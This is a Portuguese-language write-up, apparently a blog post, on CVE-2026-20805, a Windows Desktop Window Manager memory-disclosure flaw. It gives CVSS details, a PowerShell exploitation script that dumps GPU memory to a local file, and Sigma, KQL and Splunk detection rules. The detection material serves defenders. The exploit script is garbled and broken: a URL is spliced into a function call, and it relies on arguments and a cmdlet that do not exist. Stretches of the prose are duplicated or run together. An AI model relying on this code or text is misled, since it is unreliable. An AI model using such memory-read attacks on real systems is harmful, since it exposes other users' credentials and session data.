
CVE‑2026‑20805: Uma falha no Windows Desktop Window Manager que causa divulgação local de informações. Requer privilégios baixos, sem interação do usuário. Classificada como CVSS 5.5 (Média). Explorada ativamente e listada no CISA KEV; correção lançada em janeiro de 2026.
CVE‑2026‑20805: Uma falha no Windows Desktop Window Manager que causa divulgação local de informações. Requer privilégios baixos, sem interação do usuário. Classificada com CVSS 5.5 (Média). Explorada ativamente e listada no CISA KEV; patch lançado em janeiro de 2026.
O CVE 2026 20805 é uma falha de divulgação de informações no Desktop Window Manager (DWM) – o componente central que renderiza a área de trabalho, compõe janelas e acelera a interface de usuário baseada em GPU.
Por que isso importa: a falha permite que um atacante local com privilégios baixos leia dados que deveriam estar confinados a outras sessões ou processos.
| Atributo | Valor |
|---|---|
| CWE‑200: Exposição de Informações Sensíveis a um Ator Não Autorizado | ✓ |
| Vetor de ataque | Local |
| Privilégios necessários | Baixos |
| Interação do usuário | Nenhuma |
| Impacto – confidencialidade | Alto |
| Impacto – integridade | Nenhum |
| Impacto – disponibilidade | Nenhum |
| Pontuação Base CVSS 3.1 | 5.5 (Média) |
O DWM orquestra a memória da GPU, os buffers de janela e as superfícies de interface de usuário entre processos. É um alvo de alto valor porque agrega dados de múltiplos processos em um espaço compartilhado de GPU; uma falha aqui pode vazar credenciais ou dados de sessão entre usuários.
Papel do DWM no Windows moderno:
A vulnerabilidade explora a falta de verificação de limites no índice do buffer de janela; isso permite que um atacante leia memória adjacente da GPU e obtenha segredos armazenados por outros processos.
Com base na lista CPE do NVD, o Windows 10.0.19041 (e derivados) é afetado.
Abaixo está um fluxo conceitual de exploração:
CreateProcess com privilégios mínimos.# Windows 10.0.19041 – Exploração de leitura de buffer do DWM
$processHandle = Get-Process -Name dwm | Select-Object -ExpandProperty Id
$bufferOffset = 0x00120000 # offset criado para memória adjacente da GPU
$targetWindow = 0x00030001 # índice da janela alvo
# Cria um buffer temporário no espaço do kernel
$kernelBuffer = [byte[]]::new(0x1000)
[System.Runtime.InteropServices.Marshal]:https://raw.githubusercontent.com/mrk336/inside-cve-2026-20805-how-a-windows-dwm-flaw-exposed-sensitive-data/main/:CopyMemory(
$processHandle,
$bufferOffset,
$kernelBuffer,
0x1000)
# Copia o buffer do kernel para a rotina de composição do DWM
Invoke-DwmRead -ProcessId $processHandle `
-WindowIndex $targetWindow `
-SrcAddress $bufferOffset `
-Size 0x1000
# Despeja os dados expostos em um arquivo local para análise
$dumpPath = "C:\Temp\DwmLeak.txt"
[IO.File]::WriteAllBytes($dumpPath, $kernelBuffer)
O script demonstra como um atacante pode aproveitar a memória de GPU do DWM para ler dados ocultos.
A detecção do CVE‑2026‑20805 concentra-se em identificar interações anormais com dwm.exe e telemetria incomum relacionada à GPU. A exploração depende da leitura de buffers de memória suportados por GPU usando offsets criados, portanto, os defensores devem monitorar desvios do comportamento normal do Desktop Window Manager.
0x2B (DisplayUpdate)Essas fontes fornecem visibilidade sobre criação de processos, acesso a handles e atividade de atualização de GPU.
CreateProcess envolvendo dwm.exe, especialmente quando o processo pai não é explorer.exe.DisplayUpdate (0x2B) seguidos por leituras de memória usando tamanhos ou offsets incomuns de buffer.
SrcAddress: 0x00120000Size: 0x1000HandleOpen direcionados a dwm.exe e rajadas de atividade ETW de GPU.title: DWM GPU Memory Read Anomaly
id: dwm-gpu-memory-read-anomaly
status: experimental
description: Detects abnormal DWM buffer reads that may indicate exploitation of CVE-2026-20805.
author: Mark
logsource:
product: windows
service: system
detection:
selection:
EventID: 0x2B
ProcessName: dwm.exe
SrcAddress: 0x00120000
Size: 0x1000
condition: selection
falsepositives:
- High GPU rendering workloads
level: medium
tags:
- attack.defense-evasion
SecurityEvent
| where EventID in (4656, 4663)
| where ProcessName !~ "dwm.exe"
| where ObjectName has "dwm.exe"
| summarize count() by Account, ProcessName, ObjectName, Computer, bin(TimeGenerated, 5m)
| where count_ > 5
Sysmon
| where EventID == 1
| where Image endswith "dwm.exe"
| where ParentImage !endswith "explorer.exe"
Event
| where EventID == 0x2B
| summarize count() by Computer, bin(TimeGenerated, 1m)
| where count_ > 50
let handles = SecurityEvent
| where EventID == 4656 and ObjectName has "dwm.exe"
| project TimeGenerated, Account, Computer;
let gpu = Event
| where EventID == 0x2B
| project TimeGenerated, Computer;
handles
| join kind=inner gpu on Computer
| where gpu_TimeGenerated between (TimeGenerated .. TimeGenerated + 2m)
index=sysmon EventCode=10 TargetImage="*\\dwm.exe"
| where NOT match(ProcessName, "explorer.exe")
| stats count by ProcessName, TargetImage, User, Computer
| where count > 5
index=sysmon EventCode=1 Image="*\\dwm.exe"
| where NOT like(ParentImage, "%explorer.exe")
| table _time, Computer, ParentImage, Image, User
index=windows EventCode=43
| timechart span=1m count
| where count > 50
handles = search index=sysmon EventCode=10 TargetImage="*\\dwm.exe"
| eval key=Computer."-"._time
| table key, Computer, _time;
gpu = search index=windows EventCode=43
| eval key=Computer."-"._time
| table key, Computer, _time;
handles
| join key gpu
| table Computer, handles._time, gpu._time
O aviso da Microsoft para o CVE 2026 20805 inclui um patch que valida os índices de buffer no DWM antes de copiar dados da GPU.